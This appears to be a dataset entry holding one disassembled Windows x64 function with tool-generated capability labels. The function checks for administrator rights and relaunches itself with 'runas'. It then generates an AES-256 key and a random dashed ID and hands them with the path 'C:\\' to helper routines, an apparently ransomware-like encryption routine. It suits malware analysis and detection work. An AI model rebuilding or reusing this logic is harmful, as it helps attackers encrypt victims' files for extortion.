Function at 0x140001e70
Capabilities:
Create new key via cryptacquirecontext
Create process on windows
Encrypt data using aes via winapi
Generate random numbers via winapi
Get token membership
Terminate process

Disassembly:
push rbp
push rdi
push r14
lea rbp, [rsp - 0x190]
sub rsp, 0x290
xor edi, edi
mov word [rsp + 0x6c], 0x500
lea rax, [rsp + 0x70]
mov dword [rsp + 0x78], edi
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x48], edi
mov r14d, 0x20
mov dword [rsp + 0x40], edi
mov r9d, 0x220
mov dword [rsp + 0x38], edi
mov r8d, r14d
mov dword [rsp + 0x30], edi
mov dl, 2
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov qword [rsp + 0x70], rdi
mov dword [rsp + 0x68], edi
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140001ef9
mov rdx, qword [rsp + 0x70]
lea r8, [rsp + 0x78]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x78], edi
jne 0x140001f75
mov r8d, 0x104
lea rdx, [rbp + 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001f75
xor eax, eax
mov dword [rbp + 0x10], 0x70
vpxor xmm0, xmm0, xmm0
vmovups ymmword [rbp + 0x14], ymm0
mov qword [rbp + 0x74], rax
lea rcx, [rbp + 0x10]
mov dword [rbp + 0x7c], eax
lea rax, str.runas
vmovups ymmword [rbp + 0x34], ymm0
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x80]
mov qword [rbp + 0x28], rax
vmovups ymmword [rbp + 0x54], ymm0
mov qword [rbp + 0x18], rdi
mov dword [rbp + 0x40], edi
vzeroupper
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001f75
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x2b0], rbx
lea rcx, [rsp + 0x68]
mov ebx, 0x2c
mov qword [rsp + 0x2b8], rsi
mov r9d, 0x18
mov dword [rsp + 0x78], ebx
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, 0x10
test eax, eax
je 0x14000204c
mov rcx, qword [rsp + 0x68]
lea r9, [rsp + 0x70]
mov edx, 0x6610
mov r8d, 1
call qword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
je 0x14000203f
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rbp - 0x70]
xor edx, edx
mov r8d, 8
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
je 0x140002034
vmovups ymm0, ymmword [rbp - 0x64]
vmovups ymmword [rbp - 0x40], ymm0
lea rax, [rbp - 0x70]
mov byte [rax], dil
lea rax, [rax + 1]
sub rbx, 1
jne 0x140002013
mov rcx, qword [rsp + 0x68]
lea r8, [rbp - 0x80]
mov edx, esi
vzeroupper
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x68]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [0x140005aa0]
lea rdx, [0x140005a78]
vmovups ymm0, ymmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov dword [rbp - 0x50], eax
lea rcx, [rsp + 0x70]
movzx eax, byte [0x140005aa4]
xor r9d, r9d
mov byte [rbp - 0x4c], al
xor r8d, r8d
vmovups ymmword [rbp - 0x70], ymm0
vzeroupper
call qword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
test eax, eax
js 0x14000213b
mov qword [rsp + 0x2c0], r15
mov rbx, rdi
movabs r15, 0xe38e38e38e38e38f
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x70]
lea rdx, [rsp + 0x60]
xor r9d, r9d
mov r8d, 1
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
test eax, eax
js 0x140002126
movzx eax, byte [rsp + 0x60]
cmp al, 0xfc
jae 0x1400020b0
mov ecx, eax
mov rax, r15
mul rcx
shr rdx, 5
lea rax, [rdx + rdx*8]
shl rax, 2
sub rcx, rax
movzx eax, byte [rbp + rcx - 0x70]
mov byte [rbp + rbx - 0x20], al
inc rbx
inc edi
mov eax, edi
and eax, 0x80000003
jge 0x14000210b
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x14000211d
cmp rbx, 0x27
jge 0x14000211d
mov byte [rbp + rbx - 0x20], 0x2d
inc rbx
cmp edi, 0x21
jl 0x1400020b0
mov byte [rbp + 7], 0
mov rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.bcrypt.dll_BCryptCloseAlgorithmProvider]
mov r15, qword [rsp + 0x2c0]
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.1400010c0
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.140001a50
lea r9, [rbp - 0x20]
mov dword [rsp + 0x7c], 0x5c3a43
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x7c]
call fcn.140001700
mov rbx, qword [rsp + 0x2b0]
lea rax, [rbp - 0x40]
nop word [rax + rax]
mov byte [rax], 0
lea rax, [rax + 1]
sub r14, 1
jne 0x140002190
lea rax, [rbp - 0x80]
mov byte [rax], 0
lea rax, [rax + 1]
sub rsi, 1
jne 0x1400021a1
mov rsi, qword [rsp + 0x2b8]
xor eax, eax
add rsp, 0x290
pop r14
pop rdi
pop rbp
ret